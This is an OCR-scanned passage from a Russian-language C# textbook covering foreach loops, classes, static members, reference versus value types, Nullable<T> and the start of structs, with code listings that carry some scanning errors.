при использовании continue — просто это потребует больше усилий. 118
Основы программирования на C# Итерация по коллекциям с помощью циклов f oreach В C# существует вид цикла, который не является общим для всех языков семейства С. Циклы foreach предназначены для обхода коллек- ций. Структуру цикла foreach можно представить следующим образом: foreach (тип-элемента переменная-итерации in коллекция) тело Здесь коллекция — это выражение, чей тип соответствует конкретно- му, распознаваемому компилятором шаблону. В данном случае этим ша- блоном является интерфейс платформы .NET Framework IEnumerable<T>, который мы рассмотрим в главе 5, хотя в действительности компилятор не требует реализации этого интерфейса — он лишь требует, чтобы кол- лекция реализовала метод GetEnumerator, сходный с методом, опреде- ленным в интерфейсе. Листинг 2.60 демонстрирует использование цик- ла foreach для вывода всех строк массива; метод, который требуется для цикла foreach, предоставляют все массивы. Листинг 2.60. Обход коллекции с помощью цикла foreach ( string[] messages = GetMessagesFromSomewhere(); foreach (string message in messages) ( Console.WriteLine (message); } Данный цикл выполняет тело по одному разу для каждого элемента массива. Переменная итерации (в нашем случае message) при каждом обходе цикла отличается, ссылаясь на объект текущей итерации. В некотором роде это является менее гибким по сравнению с циклом for, показанным в листинге 2.57: цикл foreach не может модифициро- вать коллекцию, обход которой он выполняет. Причина в том, что не все коллекции поддерживают модификацию. У типа IEnumerable<T> очень небольшие требования к своим коллекциям — не являются необходимы- ми модифицируемость, случайный доступ и даже возможность знать за- ранее, сколько элементов предоставляет коллекция. (Тип IEnumerable<T> фактически способен поддерживать бесконечные коллекции. Например, вполне допустимым будет написать реализацию, возвращающую слу- чайные числа до тех пор, пока вы извлекаете значения.) Однако тем не менее цикл foreach предлагает два преимущества по сравнению с циклом for. Первое является субъективным и потому от- крыто для обсуждения: цикл foreach несколько лучше читается. Более 119
Глава 2 значительное преимущество состоит в том, что он более универсален. Если вы создаете методы для выполнения определенных действий над коллекциями, то данные методы найдут применение шире, чем если бу- дут использовать цикл foreach, а не цикл for, поскольку это позволит вам принять тип IEnumerable<T>. Например, код листинга 2.61 сможет работать с любой коллекцией, содержащей строки, не ограничиваясь лишь массивами. Листинг 2.61. Универсальная итерация по коллекции public static void ShowMessages(IEnumerable<string> messages) { foreach (string message in messages) { Console.WriteLine(message); } } Данный код может работать с коллекциями, не поддерживающими случайный доступ, такими как класс LinkedList<T>, описание которого приводится в главе 5. Он также может обрабатывать «ленивые» кол- лекции, принимающие решение о том, какие элементы предоставить, по требованию, включая элементы, выдаваемые функциями итераторов (также описанными в главе 5) и определенными LINQ-запросами (опи- санными в главе 10). Резюме В этой главе я показал основные элементы кода на языке C# — пере- менные, инструкции, выражения, большинство типов данных, операто- ры и управление потоком. Пришла пора взглянуть на более широкую структуру программы на С#. Весь ее код должен принадлежать тому или иному типу, и именно типам посвящена следующая глава.
Глава 3 ТИПЫ C# не заставляет вас ограничиться только лишь встроенными типа- ми данных, показанными в главе 2; вы можете определять и свои соб- ственные. У вас фактически нет иноговыбора: для того чтобы вообще на- писать код на С#, необходимо определить тип, который будет содержать этот код. Любой код, написанный нами, и любая функциональность, что мы возьмем из библиотеки классов .NET Framework (или любой другой .NET-библиотеки), будет принадлежать некоторому типу. C# различает много разновидностей типов данных. Я начну с наиболее важных. Классы Независимо от того, станете ли вы создавать свои типы или ис- пользовать созданные другими людьми, большую часть из них будут составлять классы. Класс может содержать как код, так и данные, а так- же сделать некоторые из своих возможностей общедоступными, оста- вив прочие доступными только для кода внутри класса. Таким образом, классы предлагают механизм инкапсуляции — они могут предоставить четко определенный открытый программный интерфейс для использо- вать другими людьми, в то же время оставляя недоступными внутрен- ние детали реализации. Если вы уже знакомы с объектно-ориентированными языками, все это покажется вам очень простым. Если нет, то, возможно, будет лучше, если сначала вы прочитаете какой-либо материал базового уровня, посколь- ку данная книга не предназначена для обучения программированию*. Я описываю здесь лишь детали, специфичные для классов языка С#. В предыдущих главах я уже приводил примеры классов, однако да- вайте остановимся на их структуре чуть более подробно. Определение простого класса демонстрирует листинг 3.1 (см. также врезку «Согла- шения по именованию»). • Введение в основные концепции программирования, используемые в С#, пред- ставляет книга Джесси Либерти Learning С#. 121
Глава 3 Листинг 3.1. Простой класс public class Counter { private int _count; public int GetNextValue() { _count += 1; return _count; I } Определение класса всегда содержит ключевое слово class, за ко- торым следует имя класса. C# не требует, чтобы оно соответствовало имени содержащего его файла, равно как и не ограничивает вас разме- щением в одном файле только одного класса. Тем не менее, придержи- ваясь соглашения по именованию, большинство проектов C# делает имя файла совпадающим с именем класса. В отношении имен классов применяются те же правила для идентификаторов, что и в случае имен переменных, о которых было рассказано в главе 2. Первая строка листинга 3.1 содержит дополнительное ключевое сло- во public. Определение класса может опционально специфицировать доступность, которая определяет, какому другому коду разрешается ис- пользовать класс. Обычным классам предоставляется только два вариан- та: public (открытый) и internal (внутренний), при этом второй вариант берется по умолчанию. (Как будет рассказано далее, классы можно вкла- дывать в другие типы, и вложенным классам предоставляется несколько более широкий набор вариантов доступности.) Внутренний класс досту- пен для использования только внутри того компонента, что его опреде- ляет. Поэтому, если вы создаете библиотеку классов, вы свободно може- те определять классы, которые будут существовать исключительно как часть ее реализации: пометив их ключевым словом internal, вы предот- вратите их использование за пределами библиотеки. Вы можете сделать свои внутренние типы видимыми для 4 ш избранных внешних компонентов. Этот прием, к примеру, В?*'используется в библиотеках компании Microsoft. Библио- тека классов .NET Framework распределена по множеству .d/Z-файлов, в каждом из них определяется много внутренних типов, однако некоторые из внутренних возможностей ис- пользуются в других .d/7-файлах библиотеки. Это обеспечива- 122
Типы ется путем аннотирования компонента атрибутом [assembly: internalsVisibleTo ("имя") ], специфицирующим имя компонен- та, которому вы хотите предоставить доступ (обычно этот атри- бут размещается в исходном файле Assemblyinfo.cs, скрываю- щемуся внутри узла Properties (Свойства) на панели Solution Explorer (Обозреватель решений)). Например, не исключено, что вы захотите сделать каждый класс вашего приложения ви- димым проекту модульного теста, чтобы можно было тестиро- вать код, который вы не собираетесь делать общедоступным. Класс Counter в листинге 3.1 помечен ключевым словом public, но это совсем не значит, что он должен все выставлять напоказ. Он опре- деляет два члена — поле с именем count, которое содержит значение типа int, и метод с именем GetNextValue, производящий определенные действия над этим значением. (При создании объекта типа Counter сре- да CLR автоматически проинициализирует данное поле значением 0.) Как вы видите, у каждого из этих членов тоже есть квалификатор до- ступа. И, что является очень распространенной практикой в объектно- ориентированном программировании, класс Counter делает закрытым данное-член, экспонируя открытую функциональность через метод. Совершенно так же, как для самих классов, модификаторы доступа являются опциональными и для членов классов, и, опять же, по умол- чанию для них тоже используется наиболее ограничивающий вариант: в данном случае private. Поэтому в листинге 3.1 я мог бы опустить клю- чевое слово private без какого-либо изменения смысла, однако я все же предпочитаю выражать свои намерения явно (если опустить ключевое слово, то у того, кто будет читать код, могут возникнуть сомнения, сде- лано ли это намеренно или случайно). Соглашения по именованию Компанией Microsoft определен ряд соглашений для общедоступных идентификаторов, которых она обычно придерживается в своих би- блиотеках классов. Я, как правило, следую этим соглашениям в сво- ем коде. Компания Microsoft предоставляет бесплатный инстру- мент, FxCop, позволяющий проверить библиотеки на соответствие данным соглашениям. Он поставляется как часть набора средств разработки Windows SDK, а также в составе средств статического анализа в некоторых версиях Visual Studio. Если вы хотите просто 123
Глава 3 ознакомиться с описанием правил —- они вводят в состав рекомен- даций по разработке библиотек классов .NET, доступных по адресу http://msdn.microsoft.com/library/ms229042. В соответствии с этими соглашениями, имя класса должно начи- наться с прописной буквы, и если оно состоит из нескольких слов, то каждое новое тоже должно начинаться с прописной буквы. (По исторически сложившимся причинам это соглашение известно как стиль Паскаль (Pascal casing) и иногда записывается в виде само- относимого примера СтильПаскаль (PascalCasing).) Хотя C# допу- скает наличие символов подчеркивания в идентификаторах, данные соглашения не разрешают использовать их в именах классов. Стиль Паскаль также применяется для имен методов и свойств. Поля ред- ко бывают открытыми, но когда они являются таковыми, для их имен тоже используется этот стиль. Для имен параметров методов существует другое соглашение, из- вестное как верблюжийСтиль (came/Casing), в соответствии с кото- рым с прописной буквы должны начинаться все слова, за исключе- нием первого. Свое название этот стиль получил потому, что при его использовании в середине слова образуется один или несколько «горбов», напоминающих горбы верблюда. Соглашения по именованию компании Microsoft ничего не говорят в отношении деталей реализации (изначальной целью введения этих правил, как и создания инструмента FxCop, было обеспечение еди- нообразия в пределах всего открытого API-интерфейса библиотеки классов .NET Framework; «Fx» — сокращение от «Framework»). Поэ- тому не существует никаких стандартов в отношении того, как сле- дует именовать закрытые поля. В листинге 3.1 имя поля начинается с символа подчеркивания. Я использовал такое имя по той причине, что мне нравится, когда имена полей отличаются Ът имен локаль- ных переменных; это позволяет мне легко видеть, с данными какого вида работает мой код, и, кроме того, исключает конфликты между именами полей и именами параметров методов. Однако некоторые разработчики считают такой стиль именования безобразным и пред- почитают использовать для полей имена без каких-либо визуальных отличий. Другие разработчики, наоборот, считают эти отличия недо- статочно заметными, и предпочитают более бьющий в глаза префикс т_ (состоящий из строчной буквы m и символа подчеркивания). Поля содержат данные. Они представляют собой разновидность пе- ременной, но — в отличие от локальной переменной, область видимости и время жизни которой зависят от содержащего ее метода, — поле при- вязано к содержащему его типу. 124
Типы Код в листинге 3.1 может" ссылаться на поле count, используя его неквалифицированное имя, поскольку внутри определяющего их класса поля находятся в области видимости. Однако что можно ска- зать о времени жизни поля? Как мы знаем, каждый вызов метода по- лучает свой набор локальных переменных. Сколько же наборов полей класса это включает? Здесь есть варианты, но в данном случае вызов метода получает по одному набору полей на каждый экземпляр. Для иллюстрации в листинге 3.2 я привожу пример использования класса Counter из листинга 3.1. Обратите внимание, что данный код я разме- стил в отдельном классе, чтобы продемонстрировать, что открытый метод класса Counter можно использовать из других классов. Согласно принятому соглашению, Visual Studio помещает точку входа програм' мы, метод Main, в класс с именем Program, поэтому в данном примере я делаю то же самое. Листинг 3.2. Использование пользовательского класса class Program { static void Main (string [] args) { Counter cl = new Counter(); Counter c2 = new Counter(); Console.WriteLine(”cl: " + cl.GetNextValue()); Console.WriteLine("cl: " + cl.GetNextValueO); Console.WriteLine("cl: " + cl.GetNextValueO); Console.WriteLine("c2: " + c2.GetNextValue()); Console.WriteLine("cl: " + cl.GetNextValueO); } Здесь я создаю новые экземпляры своего класса с помощью опера- тора new. Поскольку оператор new используется дважды, я получаю два объекта Counter, каждый из которых обладает своим полем count. Та- ким образом, у меня здесь два независимых счетчика, что и демонстри- рует вывод программы: cl: 1 cl: 2 cl: 3 с2: 1 cl: 4 125
Глава 3 Как и следовало ожидать, программа увеличивает показания счетчи- ка, после чего, когда мы переключаемся ко второму счетчику, начинает новую последовательность с 1. Однако когда мы снова возвращаемся к первому счетчику, подсчет продолжается с того же значения, на кото- ром он был прерван. Это показывает, что каждый экземпляр обладает своим полем count. А что если мы не хотим такого? Иногда бывает нуж- но отслеживать информацию, не связанную ни с одним из объектов. Статические члены Используя ключевое слово static, можно объявить о том, что член класса не ассоциирован ни с одним конкретным его экземпляром. В ли- стинге 3.3 представлена модифицированная версия класса Counter из листинга 3.1. Я добавил два новых члена, каждый из них является ста- тическим, с целью ведения счета и предоставления итоговой суммы, ко- торая будет общей для всех экземпляров. Листинг 3.3. Класс со статическими членами public class Counter { private int _count; private static int _totalCount; public Int GetNextValue() ( _count += 1; _totalCount += 1; return _count; I public static int TotalCount { get ( return _totalCount; ) } I Член TotalCount предоставляет итоговую сумму, но не выполняет при этом никакой работы — он просто возвращает значение, которое поддер- живается в актуальном состоянии классом, что, как объясняется далее 126
Типы в разделе «Свойства», идеально соответствует описанию свойства. Ста- тическое поле totalcount отслеживает общее количество обращений к методу GetNextValue, в отличие от нестатического поля count, которое просто отслеживает количество обращений к текущему экземпляру. За- метьте, что я свободно могу использовать это статическое поле внутри метода GetNextValue в совершенно той же манере, как я применяю не- статическое поле count. Разница в поведении станет отчетливо видна, если я добавлю строку кода, показанную в листинге 3.4, в конец метода Main в листинге 3.2. Листинг 3.4. Использование статического свойства Console.WriteLine(Counter.TotalCount) ; Данная строка выводит значение 5, равное сумме показаний двух счетчиков. Обратите внимание, что для доступа к статическому члену я просто записываю ИмяКласса.ИмяЧлена. На самом деле, в листинге 3.4 применяются два статических члена — наряду со свойством TotalCount моего класса, данный код использует статический метод WriteLine клас- са Console. Поскольку я объявил TotalCount как статическое свойство, то содер- жащийся в нем код обладает доступом только к другим статическим чле- нам. Если бы я попытался использовать нестатическое поле count или вызвать нестатический метод GetNextValue, это вызвало бы неудоволь- ствие компилятора. Если в свойстве TotalCount записать count вместо totalcount, результатом станет следующее сообщение об ошибке: error CS0120: An object reference is required for the поп-static field, mthod, or property 'Counters.Counter._count' (error CS0120: Для нестатического поля, метода или свойства "Counters. Counter._count" требуется ссылка на объект) Поскольку нестатические поля ассоциируются с конкретным экзем- пляром класса, C# должен знать о том, какой экземпляр следует исполь- зовать. В случае нестатического метода или свойства этим экземпляром является тот, для которого был выполнен вызов данного метода или свойства. Так, например, в листинге 3.2 я писал либо cl. GetNextValue (), либо с2.GetNextValue (), чтобы указать, какой из двух объектов следует выбрать: cl или с2. При этом C# передавал ссылку, хранящуюся, соот- ветственно, либо в объекте cl, либо в с2, как неявный первый аргумент. Для получения этой ссылки также можно использовать ключевое слово this. Листинг 3.5 демонстрирует альтернативный вариант записи пер- 127
Глава 3 вой строки метода GetNextValue из листинга 3.3, где явно указывается, что мы считаем поле count членом того экземпляра, для которого был вызван метод GetNextValue. Листинг 3.5. Ключевое слово this this._count += 1; Иногда явный доступ к членам с помощью ключевого слова this ста- новится необходимостью по причине конфликта имен. Хотя все члены класса находятся в области видимости для любого кода в пределах клас- са, метод обладает не такой, как у класса, областью объявления. Как вы, возможно, помните из главы 2, область объявления представляет собой фрагмент кода, в котором одно имя не должно ссылаться на две разные сущности. А поскольку область объявления методов не такая, как у со- держащего их класса, вам разрешается объявлять локальные переменные и параметры методов с таким же именем, как у членов класса. Подобное вполне может произойти в том случае, если вы не придерживаетесь со- глашения по именованию, предписывающего использовать в именах полей префикса из символа подчеркивания. При этом не будет выдано никакого сообщения об ошибке — локальные переменные и параметры просто скроют члены классов. Однако квалифицируя доступ ключевым словом this, вы счсукете обратиться к членам класса даже при наличии в области видимости локальных переменных с тем же именем. Кстати говоря, некоторые разработчики предпочитают всегда указывать клю- чевое слово this, вероятно, потому что префиксы _ и т_ кажутся им не- достаточно назойливыми. Конечно, в статических методах ключевое слово this не использует- ся, поскольку они не ассоциируются с конкретным экземпляром. Статические классы Некоторые классы предоставляют только статические члены. Не- сколько примеров этого можно найти в пространстве имен System. Threading, содержащем классы, предлагающие утилиты для многопо- точной обработки. Например, там можно найти класс Interlocked, пре- доставляющий атомарные неблокирующие операции чтения, модифи- кации и записи, и класс Lazylnitializer со вспомогательными методами для выполнения отложенной инициализации способом, который гаран- тирует исключение двойной инициализации в многопоточном окруже- нии. Данные классы предоставляют службы только через статические 128
Типы методы. Не имеет смысла создавать экземпляры этих типов, поскольку они не будут содержать никакой дополнительной полезной информа- ции помимо статических данных класса. Объявить, что ваш класс планируется использовать таким образом, можно, поставив перед ключевым словом class ключевое слово static. Это приведет к тому, что при компиляции класса не будет допускаться создание его экземпляров. Если разработчик попытается создать экзем- пляр такого класса, значит, он не понимает, что делает этот класс, таким образом, ошибка компилятора будет полезным стимулом к прочтению документации. Ссылочные типы Любой тип, определенный с использованием ключевого слова class, является ссылочным — это означает, что переменная данного типа содер- жит не экземпляр, а ссылку на таковой. Следовательно, операции присва- ивания копируют не объект, а лишь ссылку на него. Давайте рассмотрим листинг 3.6, который содержит почти такой же код, как в листинге 3.2, с тем отличием, что вместо ключевого слова new для инициализации пе- ременной с2 здесь используется просто копия переменной cl. Листинг 3.6. Копирование ссылок Counter cl = new Counter(); Counter c2 = cl; Console.WriteLine("cl: " Console.WriteLine("cl: " Console.WriteLine("cl: " Console.WriteLine ("c2: " Console.WriteLine("cl: " + cl.GetNextValue ()); + cl.GetNextValue()); + cl.GetNextValue()); + c2.GetNextValue()); + cl.GetNextValue()); Поскольку ключевое слово new используется здесь только один раз, то создается только один экземпляр типа Counter, и обе переменные ссылаются на этот единственный экземпляр. Потому вывод программы изменится: cl: 1 cl: 2 cl: 3 с2: 4 cl: 5 129
Глава 3 Так поступают не только локальные переменные — если использо- вать ссылочный тип для создания переменной любой другой разновид- ности, такой, например, как поле или свойство, то операция присваива- ния будет таким же образом копировать ссылку, а не сам объект. Как мы видели в главе 2, встроенные числовые типы ведут себя иначе. Каждая переменная этих типов содержит значение, а не ссылку на него, поэто- му операция присваивания неизбежным образом представляет собой копирование значения. Такое поведение недоступно для большинства ссылочных типов — см. следующую далее врезку «Копирование экзем- пляров». Копирование экземпляров В некоторых языках семейства С определен стандартный способ создания копии объекта. Например, в C++ можно написать кон- структор копирования и перегрузить оператор присваивания; при этом также существуют правила их использования при копирова- нии объекта. В C# некоторые типы являются копируемыми, и это не только встроенные числовые типы. Далее в главе будет рассказано, как определять структуры, являющиеся пользовательским значи- мым типом. Структуры всегда копируемы, однако не существует никакого спо- соба настроить этот процесс: операция присваивания просто ко- пирует все поля, и если некоторые из них относятся к ссылочному типу, то копируется ссылка. Такое иногда называют «поверхност- ным» копированием, поскольку копируется только содержимое структуры, без создания копий любых объектов, на которые она мо- жет ссылаться. В C# нет встроенного механизма создания копии экземпляра клас- са. Хотя в качестве API-интерфейса для копирования объектов .NET Framework предлагает интерфейс icioneable, он поддерживается недостаточно широко. Его использование связано с проблемами, поскольку он не определяет, как обращаться с объектами, содер- жащими ссылки на другие объекты. Должна ли копия объекта также включать копии объектов, на которые ссылается этот объект (глубо- кое копирование) или просто копии ссылок (поверхностное копиро- вание)? На практике типы, где требуется обеспечить возможность копирования, зачастую просто предлагают для выполнения этой за- дачи произвольный метод, не придерживаясь никакого конкретного шаблона. 130
Типы Существует возможность переработать класс Counter таким обра- зом, чтобы своим поведением он больше напоминал встроенные типы. (Конечно, стоит ли это делать, спорный вопрос, однако, по крайней мере, будет поучительно посмотреть, куда оно нас заведет. Оценить, на- сколько хороша такая идея, мы сможем, лишь испробовав ее на практи- ке.) Один из способов, которые мы могли бы применить, состоит в том, чтобы сделать класс неизменяемым — он будет устанавливать все свои поля во время инициализации и не модифицировать их после. Такую тактику использует встроенный тип string. Вы можете попросить ком- пилятор помочь вам в этом, поставив в объявлении поля ключевое слово readonly (только для чтения) — компилятор будет выдавать сообщение об ошибке при каждой попытке модифицировать такое поле за предела- ми конструктора. Конечно, неизменяемость не обеспечивает семантику копирования значений; операция присваивания по-прежнему копирует ссылки; од- нако, поскольку объект не может изменять свое состояние, любая кон- кретная ссылка всегда указывает на неизменное значение, что делает малозаметной разницу между копированием ссылки и копированием значения. При необходимости инкрементировать неизменяемый объект Counter потребуется создать новый экземпляр, проинициализировав его инкрементированным значением. Это очень похоже на то, как ведут себя числа: выражение сложения, добавляющее 1 к значению типа int, в качестве результата создает новое значение типа int*. Вы можете до- биться аналогичного эффекта, написав пользовательскую реализацию оператора ++ для своего типа. Как — демонстрирует листинг 3.7. Листинг 3.7. Неизменяемый счетчик public class Counter 1 private readonly int _count; private static int _totalCount; public Counter () I _count = 0; } private Counter(int count) * Совсем не обязательно требуется выделение дополнительной памяти. Новые зна- чения часто перезаписывают существующие, таким образом, это является более эффек- тивным, чем может показаться. 131
Глава 3 { _count = count; } public Counter GetNextValue () { _totalCount += 1; return new Counter(_count +1); ) public static Counter operator ++(Counter input) ( return input.GetNextValue(); } public int Count ( get ( return _count; ) ) public static int TotalCount { get * ( return _totalCount; ) I ) Мне пришлось внести изменения в метод GetNextValue, чтобы он возвращал новый экземпляр, поскольку он уже не способен модифи- цировать поле count. Это означает, что моя реализация оператора ++ может просто положиться на метод GetNextValue. Как использовать дан- ный код, показывает листинг 3.8. Листинг 3.8. Использование неизменяемого счетчика Counter cl = new Counter(); Counter c2 = cl; cl++; Console.WriteLine("cl: " + cl.Count); cl++; Console.WriteLine("cl: " + cl.Count); 132
Типы cl = cl.GetNextValue (); Console.WriteLine("cl: " + cl.Count); c2++; Console.WriteLine("c2: " + c2.Count); cl++; Console.WriteLine("cl: " + cl.Count); Обратите внимание, что в коде оператор new используется только один раз, поэтому изначально переменная с2 содержит ссылку на тот же объект, на который ссылается переменная cl. Однако поскольку это изменяемые объекты, мне пришлось подкорректировать способ об- новления счетчика. Я могу использовать как оператор ++, так и метод GetNextValue, но в любом случае это приведет к созданию нового экзем- пляра типа, и ссылка, которая содержалась в переменной ранее, будет замещаться ссылкой на новый объект. (В отличие от типа int, создание такого нового экземпляра всегда требует выделения дополнительной памяти, однако чуть позже, в разделе «Структуры», я покажу вам, как это можно изменить.) Таким образом, хотя изначально, как„и в листин- ге 3.6, переменные cl и с2 ссылаются на один и тот же объект, теперь вывод показывает, что мы снова получили две независимые последова- тельности: cl: 1 cl: 2 cl: 3 с2: 1 cl: 4 Конечно, все, что делает приведенный выше код, — лишь многократ- но использует ключевое слово new — оно просто скрыто в операторе ++ и методе GetNextValue. Концептуально это не сильно отличается от того факта, что результатом инкрементирования целого числа является но- вое целочисленное значение, на единицу превышающее предыдущее; число 5 не перестает быть числом 5 только потому, что вы решили вы- числить выражение 5 + 1, и совершенно так же объект Counter со значе- нием 5 не перестает содержать это значение только потому, что вы реши- ли запросить следующее показание счетчика. Тем не менее между неизменяемыми объектами и встроенными чис- ловыми значениями существует одно большое различие. Любой оди- ночный экземпляр ссылочного типа обладает идентичностью, под чем я подразумеваю, что существует возможность узнать, ссылаются ли две 133
Глава 3 ссылки на один и тот же экземпляр. Если у меня есть две переменные, каждая из которых ссылается на объект Counter со значением 1, это мо- жет означать, что они ссылаются на один и тот же объект Counter, но также возможно, что они ссылаются на разные объекты с одинаковым значением. Код в листинге 3.9 создает три переменные таким образом, что- бы они ссылались на счетчики с одинаковым значением, после чего сравнивает их идентичность. Когда операндами оператора == явля- ются объекты ссылочного типа, по умолчанию выполняется именно такое сравнение идентичности объектов. Однако типам разрешается переопределять оператор ==. Тип string изменяет его таким образом, чтобы он выполнял сравнение значений, поэтому если передать в ка- честве операндов оператора == два разных строковых объекта с иден- тичным текстом, результат будет равен true. Если в таком случае не- обходимо заставить оператор == выполнять сравнение идентичности объектов, вы можете воспользоваться статическим методом object. ReferenceEquals. Листинг 3.9. Сравнение ссылок Counter cl = new Counter(); cl++; Counter c2 = cl; Counter c3 = new Counter(); c3++; Console.^riteLine(cl.Count); Connote.WriteLine(c2.Count); Console.WriteLine(c3.Count); Console.WriteLine(cl == c2); Console.WriteLine(cl == c3); Console.WriteLine(c2 == c3); Console.WriteLine(object.ReferenceEquals(cl, c2)); Console.WriteLine(object.ReferenceEquals(cl, c3)); Console.WriteLine(object.ReferenceEquals(c2, c3)); Первые строки вывода подтверждают, что все три переменные ссы- лаются на счетчики с одинаковым значением: 1 1 1 134
True False False True False False Вывод также показывает следующее: хотя все счетчики обладают одинаковым значением, программа полагает, что только переменные cl и с2 представляют собой одно и то же. Причиной является тот факт, что после инкрементирования переменной cl мы присваиваем ее перемен- ной с2, а это означает, что и переменная cl, и переменная с2 ссылаются на один и тот же объект; именно потому результат первого сравнения, равен true. Однако переменная сЗ ссылается на совершенно другой объект, ко- торый просто обладает таким же значением; именно поэтому результат второго сравнения равен false. (Я использую здесь и оператор ==, и ме- тод object. Ref erenceEquals, чтобы показать, что Жданном случае они выполняют сравнение одинаково, поскольку тип Counter rfe определяет пользовательский смысл для оператора ==.) Мы можем попытаться сделать то же самое, применив вместо типа Counter тип int, как показано в листинге 3.10. Листинг 3.10. Сравнение значений int cl = new int (); cl++; int c2 = cl; int c3 = new int () ; c3++; Console.WriteLine(cl); Console.WriteLine (c2); Console.WriteLine (c3) ; Console. WriteLine (cl == c2); Console.WriteLine (cl == c3); JfctiteLine (c2 == c3); Sole.WriteLine (object .ReferenceEquals (cl, c2)) ; ole.WriteLine (object .ReferenceEquals (cl, c3)) ; nsole.WriteLine(object.ReferenceEquals(c2, c3)); Console.WriteLine (object .ReferenceEquals (cl, cl)); 135
Глава 3 Как и ранее, мы можем видеть, что все три переменные обладают одинаковым значением: 1 1 1 True True True False False False False Данный вывод также показывает, что тип int определяет особый смысл для оператора ==. Здесь этот оператор сравнивает значения, вот почему результат первых трех сравнений равен true. Однако метод object.ReferenceEquals никогда не возвращает true при передаче ему значений значимого типа — я добавил здесь дополнительное, четвертое сравнение, в котором переменная cl сравнивается сама с собой, и даже такое сравнение дает в результате значение false! Вызывающий удив- ление результат мы получили по той причине, что в случае типа int сравнение ссылок не имеет смысла, поскольку это не ссылочный тип. В последних четырех строках листинга 3.10 компилятору приходится выполнять неявное преобразование: он делает так называемую «упа- ковру» каждого аргумента метода object .ReferenceEquals; подробнее об этом мы поговорим в главе 7. Между ссылочными типами и такими типами, как int, есть еще одно различие, более наглядное. Переменная любого ссылочного типа может содержать специальное значение null, которое означает, что она не ссылается ни на один объект. Это значение нельзя присвоить ни одному встроенному числовому типу (тем не менее см. врезку). Различие между нашим неизменяемым классом и типом int четко показывает, что встроенные числовые типы представляют собой нечто иное. Переменная типа int содержит не ссылку, а непосредственно зна- чение этого типа — без какой-либо косвенности. В некоторых языках выбор между поведением ссылки и поведением значения определяется способом использования типа, однако в C# то или иное поведение яв- ляется фиксированным свойством типа. Любой тип — либо ссылочный, либо значимый. Встроенные числовые типы — значимые, равно как 136
Типы и bool, в то время как классы — всегда ссылочные. Однако это нельзя считать отличительным признаком в случае пользовательских типов, поскольку вы можете написать пользовательские значимые типы. Тип Nullable<T> .NET определяет оберточный тип с именем Nullable<T>, который обеспечивает допустимость значения null для значимых типов. Хотя переменная типа int не может содержать значение null, это ста- новится допустимым для переменной типа Nullable<int>. Угловые скобки после имени указывают на обобщенный тип — вместо метки- заполнителя т можно поставить самые разные типы — и я расскажу подробнее в главе 4. Компилятор обеспечивает особую обработку типа Nullable<T>. Он позволяет использовать более компактный синтаксис; например, вместо Nullable<int> можно записать int?. Когда компилятор встре- чает значения числового типа, допускающего значение null, внутри арифметического выражения, он обрабатывает их не так, как обыч- ные значения. Например, если вы запишете а + ь, где и переменная а, и переменная ь относятся к типу int?, то результатом будет значение типа int?, будет равное null, если оба операнда равны null; в против- ном случае оно окажется равно сумме этих значений. Выражение бу- дет вычисляться таким же образом, если ктипу int? относится только один из операндов, а второй принадлежит к обычному типу int. Хотя значение типа int? можно установить в null, это не ссылочный тип. Это, скорее, комбинация типа int и типа bool. (Впрочем, как я расскажу в главе 7, иногда способ обращения среды CLR с типом Nullable<T> больше напоминает обращение со ссылочным, а не зна- чимым типом.) Структуры Иногда уместно, чтобы пользовательский тип обладал таким же пове- дением значения, как и встроенные значимые типы. Наиболее очевидный пример — пользовательский числовой тип. Хотя среда CLR предостав- ляет множество встроенных числовых типов, иногда требуется большей структурированности, чем предлагают они. Например, во многих науч- ных и инженерных расчетах используются комплексные числа. Среда выполнения не определяет для них встроенного представления, однако 137
Глава 3 библиотека классов поддерживает их с помощью типа Complex. Было бы крайне неудобно, если б поведение такого числового типа сильно отли- чалось от поведения встроенных типов. К счастью, это не так, поскольку данный тип является значимым. Для создания пользовательского значи- мого типа используется ключевое слово struct {англ, структура). Структуры способны обладать большинством из тех свойств, кото- рые есть у классов; они могут содержать методы, поля, свойства, кон- структоры и члены любых других поддерживаемых классами типов и позволяют использовать те же квалификаторы доступа, такие как public и internal. Однако в то же время существуют некоторые огра- ничения, и если мы захотим преобразовать в структуру тип Counter, на- писанный мною ранее, будет недостаточно просто заменить ключевое слово class ключевым словом struct. (Опять же, стоит ли выполнять преобразование в структуру, вопрос спорный. Я вернусь к нему после того, как мы это сделаем.) Что немного удивляет, нам потребуется удалить конструктор, не при- нимающий аргументов. Компилятор всегда автоматически создает для структуры конструктор без аргументов, и попытка предоставить свою версию воспринимается как ошибка. (Это относится только к конструк- торам без артументов — определять конструкторы, принимающие аргу- менты, не возбраняется.) Сгенерированный компилятором конструктор структуры инициализирует все поля значением 0 или ближайшим эк- вивалентным (например, false в случае булева поля или null в случае ссылки). Это в значительной мере упрощает инициализацию значений для среды CLR. Если вы объявите массив некоторого значимого типа (не г,важно, встроенного или пользовательского), то все значения этого мас- сива будут размещены в едином непрерывном блоке памяти*. Это очень эффективно — в случае большого массива такие служебные данные, как заголовок блока кучи, будут составлять лишь незначительную часть занимаемого пространства, в то время как основную его часть займут полезные данные. Поскольку значимые типы вынуждены использовать конструктор без аргументов, который лишь устанавливает все значения в 0, это делает возможной быструю инициализацию массива с примене- нием цикла, заполняющего его нулями. То же самое происходит и в том случае, когда значение значимого типа используется в качестве поля не- которого другого типа — выделенная для нового объекта память запол- няется нулями, что производит эффект установки всех полей ссылоч- * Хотя это является деталью реализации, а не абсолютным требованием к тому, как должен работать С#, текущая реализация от компании Microsoft ведет себя именно так. 138
Типы ного типа в null, а всех значений — в их состояние по умолчанию. Это не только эффективно, но и упрощает инициализацию — конструкторы, содержащие код, запускаются лишь в случае их явного вызова. Давайте взглянем на листинг 3.7. Конструктор без аргументов на- шего класса Counter инициализирует единственное нестатическое поле значением 0, таким образом, сгенерированный компилятором конструк- тор, который мы получим вместе со структурой, будет по-прежнему де- лать то, чего мы хотим. Если мы преобразуем класс Counter в структуру, мы сможем просто удалить этот конструктор, ничего не потеряв. Нам потребуется внести еще одно изменение или, скорее, ряд из- менений с одной целью. Как упоминалось ранее, при применении опе- ратора == к ссылочным типам он по умолчанию эквивалентен методу object.ReferenceEquals, то есть сравнивает идентичность объектов. Это бессмысленно для значимых типов, потому данный оператор не облада- ет никаким определенным по умолчанию смыслом при его применении к структуре. Хотя от нас не требуют переопределения оператора ==, если мы напишем код, который пытается с его помощью сравнить значения такого типа, компилятор выдаст сообщение об ошибке, е£йи оператор == не будет определен в типе. Однако это еще не все; если добавить'только лишь определение оператора ==, компилятор выдаст сообщение о том, что необходимо также определить соответствующий оператор !=. Вы могли бы подумать, что C# должен определить оператор ! = как нечто обратное ==, 